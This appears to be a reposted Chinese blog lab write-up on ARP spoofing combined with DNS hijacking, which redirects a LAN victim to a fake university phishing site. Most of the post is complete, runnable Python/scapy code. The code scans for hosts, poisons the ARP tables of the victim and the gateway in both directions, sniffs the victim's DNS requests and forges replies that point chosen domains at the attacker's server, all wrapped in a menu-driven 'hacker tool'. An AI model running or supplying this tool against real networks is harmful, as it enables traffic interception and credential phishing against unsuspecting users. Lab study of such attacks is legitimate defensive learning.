ARP攻击与DNS劫持,使被攻击者进入钓鱼网站

一.实验环境

钓鱼网站: 虚拟机Windows 2008搭建的网站,IP:192.168.1.22

攻击者: 物理机win10,IP:192.168.1.38

被攻击者: 虚拟机win7,IP:192.168.1.37

二.实验目的

通过DNS劫持,将被攻击者的域名请求解析为错误的IP地址(即,钓鱼网站的IP地址),并返回给被攻击者,使得被攻击者进入钓鱼网站,达到实验目的。

DNS解析流程

  1. 浏览器缓存:浏览器会按照一定的频率缓存DNS记录;
  2. 操作系统缓存:如果浏览器缓存中找不到需要的DNS记录,那么就回去hosts文件中寻找;
  3. 如果本地hosts文件中没有的话,会查找本地DNS服务器存储的区域文件,若有就返回给客户端;
  4. 区域文件中没有的话,开始查找DNS本地服务器的内存中是否有缓存;
  5. 本地DNS服务器如果没有的话,就向其他DNS服务器发送查询请求;

在这里插入图片描述

本次实验我们是在被攻击者本机高速缓存和hosts文件中都没有对应的DNS解析的情况下实现,即被攻击者在查询hosts文件失败后,向本地DNS服务器或者其他DNS服务器查询的这一过程中实现的。

DNS劫持

DNS劫持又称域名,是指在劫持的网站范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做时请求失去响应,其效果就是对特定网络不能访问或访问的是假网址。

为了帮助大家更好地理解DNS劫持,如下图所示;

在这里插入图片描述

实验步骤

(1) 首先在Windows 2008上搭建一个web服务热点(搭建的过程不再多做叙述),如下图所示,搭建一个假的西安理工大学网站;

在这里插入图片描述
(2)使用scapy模块扫描出局域网内的活跃主机,打印出IP地址和MAC地址,选择局域网中的某个主机进行DNS劫持;

代码如下:

import os

#扫描局域网,显示活跃主机
def scan():
    global gw
    #之所以用"route  print"的结果来获取本机IP和网关IP,是因为‘本机IP和网关IP’所在行有明显的特征
    for line in os.popen('route print'):
        s=line.strip()   #去掉每行的空格
        if s.startswith('0.0.0.0'):
            slist=s.split()
            ip=slist[3]
            gw=slist[2]
            break
    print('本机上网的IP是:',ip)
    print('本机上网的网关是:', gw)
    tnet=gw+'/24'      #tnet代表本网段
 
    #扫描用一个网段
    p = Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=tnet)
    #ans 表示收到的包的回复
    ans, unans = srp(p, iface=wifi, timeout=2,verbose=0)
    print("一共扫描到%d台主机:" % len(ans))
    #将需要的IP地址和Mac地址存放在result列表中
    result = []
    for s, r in ans:
        # 解析收到的包,提取出需要的IP地址和MAC地址
        result.append([r[ARP].psrc, r[ARP].hwsrc])
    result.sort()
    #打印出活跃主机的IP地址和MAC地址
    for ip, mac in result:
        print(ip, "------>", mac)

(3)ARP欺骗分两种:一种是主机型欺骗,另一种是网关型欺骗;
选择局域网内的某个主机进行ARP欺骗,使被攻击者认为我就是网关;
在去欺骗网关,我是被攻击者,实现双向欺骗,使自己位于网关和被攻击者间的透明中继;

#嗅探目标主机的DNS请求
def capture(target,t):
    tj="udp dst port 53 and host "+target
    pkts=sniff(iface=wifi,filter=tj,prn=dnsposion,timeout=t)
     
#ARP攻击
def spoof():
    vic=input("请输入攻击目标:")
    t=int(input("请输入攻击时间(单位:秒):"))
    #开启多线程,对目标主机的DNS请求进行抓包(ARP攻击之后,目标主机的上网请求都会经过我)
    ct=Thread(target=capture,args=(vic,t))
    ct.start()
    #每隔0.2秒给目标主机发送一次攻击,总共发5*int(t)次
    for i in range(5*int(t)):
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vic,psrc=wg),verbose=0)
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=wg,psrc=vic),verbose=0)
        time.sleep(0.2)      
    ct.join()
    print("攻击结束!")

(4)欺骗成功后,就可以对其进行DNS劫持,在劫持的网络范围内(即blacklist)拦截域名解析请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址,其效果就是访问的是假网址。

代码如下:

#自动的向某个网站回复数据包
def dnsreply(p):
    #抓取的包有DNS才会进行下面的操作
    if p.haslayer(DNS):
        ip=p[IP]
        udp=p[UDP]
        dns=p[DNS]
        #获取请求的域名
        domain=dns.qd.qname.decode()[:-1]
        print('收到一个请求:——————>',domain)
        #如果请求的域名在黑名单中,则进行DNS劫持,并返回被攻击者一个假的网站;
        if domain in blacklist:
            nip=IP(src=ip.dst,dst=ip.src)
            nip=IP(src=ip.dst,dst=ip.src)
            nudp=UDP(sport=udp.dport,dport=udp.sport)
            ndns=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata='192.168.43.21'))
            #构造一个返回的包,显示的是自己搭建的假网站
            send(nip/nudp/ndns)
            print('%s---->192.168.43.21'%domain)            

(5)上述操作结束后,就可以实现对目的主机的攻击和欺骗。

全部代码如下:

#DNS劫持演练
from scapy.all import *
import os
import time 
from threading import Thread
import sys
 
#定义变量和函数
wg=''
oldname=''
wifi='Intel(R) Wireless-AC 9462'
blacklist=['www.xianligong.edu.cn','www.sina.com']
 
#扫描局域网,显示活跃主机
def scan():
    global wg
    #之所以用'route print'的结果来获取本机IP和网关IP,是因为'本机IP和网关IP'所在行有明显的特征
    for line in os.popen('route print'):       
        s=line.strip()
        if s.startswith('0.0.0.0'):
            slist=s.split()                    
            ip=slist[3]                      #获取本机IP
            wg=slist[2]                      #获取网关IP
            break
    print("本机上网的IP:",ip)
    print("本机上网的网关:",wg)
    tnet=wg+"/24"                            #tnet代表本网段    
    
    #扫描同一网段下的活跃主机,并按从大到小的顺序打印ip和mac
    #给同一网段的所有主机发送ARP广播。如果主机活跃则会有应答(ans)
    p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=tnet)   
    ans,unans=srp(p,iface=wifi,timeout=2,verbose=0)
    #根据应答(ans)的长度来确定活跃的主机
    print("一共扫描到%d台主机:"%len(ans))   
    result=[]
    for s,r in ans:
        #从应答包(ans)中获取活跃主机的IP和相应的MAC地址,并存在列表result中
        result.append([r[ARP].psrc,r[ARP].hwsrc])
    result.sort()                          
    for ip,mac in result:                    
        print(ip,"--->",mac)
             
#嗅探目标主机的DNS请求
def capture(target,t):
    tj="udp dst port 53 and host "+target
    pkts=sniff(iface=wifi,filter=tj,prn=dnsposion,timeout=t)
     
#ARP攻击
def spoof():
    vic=input("请输入攻击目标:")
    t=int(input("请输入攻击时间(单位:秒):"))
    #开启多线程,对目标主机的DNS请求进行抓包(ARP攻击之后,目标主机的上网请求都会经过我)
    ct=Thread(target=capture,args=(vic,t))
    ct.start()
    #每隔0.2秒给目标主机发送一次攻击,总共发5*int(t)次
    for i in range(5*int(t)):
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vic,psrc=wg),verbose=0)
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=wg,psrc=vic),verbose=0)
        time.sleep(0.2)      
    ct.join()
    print("攻击结束!")
  
def dnsposion(p):
    global oldname              #将oldname定义成全局变量
    vmip=sys.argv[1]             #获取命令行的参数,即Windows Server 2008的IP
    try:
        #在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行
        if p.haslayer(DNS):     
            ip=p[IP]
            udp=p[UDP]
            dns=p[DNS]
            qname=dns.qd.qname.decode()[:-1]   #获取请求的域名
                
            #对于之前出现过的请求不再显示
            if qname!=oldname:
                print('收到一个请求',qname)
                
            #如果解析的域名在我的黑名单中,则构造一个包含我搭建的网站IP的DNS响应包发给目标主机
            if qname in blacklist:
                nip=IP(src=ip.dst,dst=ip.src)
                nudp=UDP(sport=udp.dport,dport=udp.sport)
                ndns=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata=vmip))    
                send(nip/nudp/ndns,iface=wifi)
                print('%s--->'%qname,vmip)
    except:
        pass
        
def main():
    print("欢迎使用我的黑客工具!")
    while 1:
        sel=input("请选择要进行的操作:1、局域网扫描 2、DNS劫持 3、流量分析 4、退出\t")
        if sel=='1':
            scan()
        elif sel=='2':
            if not wg:
                print("请先执行扫描程序!")
            else:
                spoof()
        elif sel=='3':
            print("开发中... ...")
            pass        
        elif sel=='4':
            print("欢迎下次使用,再见!")
            break
        else:
            print("输入有误,请重新输入!")
     
if __name__=="__main__":
    main()

(6)查看实验结果,当在被攻击者那端输入黑名单的域名时,就会被拦截,不再黑名单上的就会被放行;

在这里插入图片描述
(7)当在被攻击者端输入www.topsec.com时,模拟发包,成功欺骗;

在这里插入图片描述
在被攻击端的就是钓鱼网站的信息;
在这里插入图片描述

(8)当在被攻击端输入www.xiyou.edu.cn时,模拟发包,成功欺骗;

在这里插入图片描述
在被攻击端显示的就是钓鱼网站的信息;
在这里插入图片描述

(9)通过Wireshark抓包查看DNS劫持的情况;

在这里插入图片描述在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_45116657/article/details/91492864